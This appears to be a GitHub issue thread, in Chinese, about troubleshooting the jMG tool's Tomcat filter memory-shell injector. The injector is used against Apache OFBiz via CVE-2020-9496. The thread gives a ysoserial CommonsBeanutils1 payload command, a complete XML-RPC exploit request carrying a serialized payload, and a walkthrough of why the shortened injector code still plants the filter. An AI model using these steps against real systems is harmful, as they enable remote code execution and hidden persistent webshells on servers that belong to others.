Closed B0T1eR closed 9 months ago
对于 TemplatesImpl 的利用,需要继承 AbstractTranslet,你应该是忘记这一步了。
1、测试环境
2、jMG 生成内存马( ☑️ 专项漏洞封装 - JDK_AbstractTranslet)
3、yso 封装
yso -g CommonsBeanutils1 -a 'class_file:/tmp/SessionDataUtil.class' | base64
4、CVE-2020-9496 利用
POST /webtools/control/xmlrpc HTTP/1.1
Host: 127.0.0.1:8443
Content-Type: application/xml
Content-Length: 2185
<?xml version="1.0"?>
<methodCall>
<methodName>ProjectDiscovery</methodName>
<params>
<param>
<value>
<struct>
<member>
<name>test</name>
<value>
<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload]</serializable>
</value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
5、连接内存马
博主您好,今天在测试的过程中,看了一下代码,也是发现没有将参数filter添加到filterDef对象
但是并不会对内存马注入结果造成影响。
没有搞清原理,大佬能解答一下吗
1、重点代码
...
Constructor[] constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
Object filterConfig = constructors[0].newInstance(context, filterDef);
Map filterConfigs = (Map)getFV(context, "filterConfigs");
filterConfigs.put(filterName, filterConfig);
...
2、 实例化 ApplicationFilterConfig 时,首先会判断filterDef.getFilter()
是否为 null;和你的发现一样,注入器代码中没有将filter添加到filterDef对象中,所以进入 if 分支,调用 this.getFilter()
ApplicationFilterConfig(Context context, FilterDef filterDef) throws ClassCastException, ClassNotFoundException, IllegalAccessException, InstantiationException, ServletException, InvocationTargetException, NamingException, IllegalArgumentException, NoSuchMethodException, SecurityException {
this.context = context;
this.filterDef = filterDef;
if (filterDef.getFilter() == null) {
this.getFilter();
} else {
this.filter = filterDef.getFilter();
this.getInstanceManager().newInstance(this.filter);
this.initFilter();
}
}
3、在 this.getFilter() 方法中,如果 filter 为 null,则会根据 filterDef 的 filterClass 字段的值自动创建 filter 实例 (关键点)
Filter getFilter() throws ClassCastException, ClassNotFoundException, IllegalAccessException, InstantiationException, ServletException, InvocationTargetException, NamingException, IllegalArgumentException, NoSuchMethodException, SecurityException {
if (this.filter != null) {
return this.filter;
} else {
String filterClass = this.filterDef.getFilterClass();
this.filter = (Filter)this.getInstanceManager().newInstance(filterClass);
this.initFilter();
return this.filter;
}
}
4、 tomcat 在 ApplicationFilterChain#internalDoFilter
方法中通过链式调用 filter 对 http 请求进行处理
...
Filter filter = filterConfig.getFilter();
...
if (Globals.IS_SECURITY_ENABLED) {
...
} else {
filter.doFilter(request, response, this);
}
使用 filterConfig.getFilter() 获取 filter 实例,由上一步已知 filter 不为 null,所以 filter 的链式调用正常进行,内存马注入结果也没受到影响。
Q: 为什么这么实现,没有在注入器中手动创建 filter 实例添加到 filterDef 中? A: 为了缩小 payload 长度。
pen4uin 师傅你好我在OFBiz CVE-2020-9496 场景下打入jMG的Tomcat-Filter内存马,发现无法连接 通过最后的排查发现jMG中的Tomcat-Filter注入器存在问题,缺少部分代码: 1.这行代码没有实例化filter导致最后返回的内容是class对象 2.没有将参数filter添加到filterDef对象中,所以Filter内存马其实并没有注入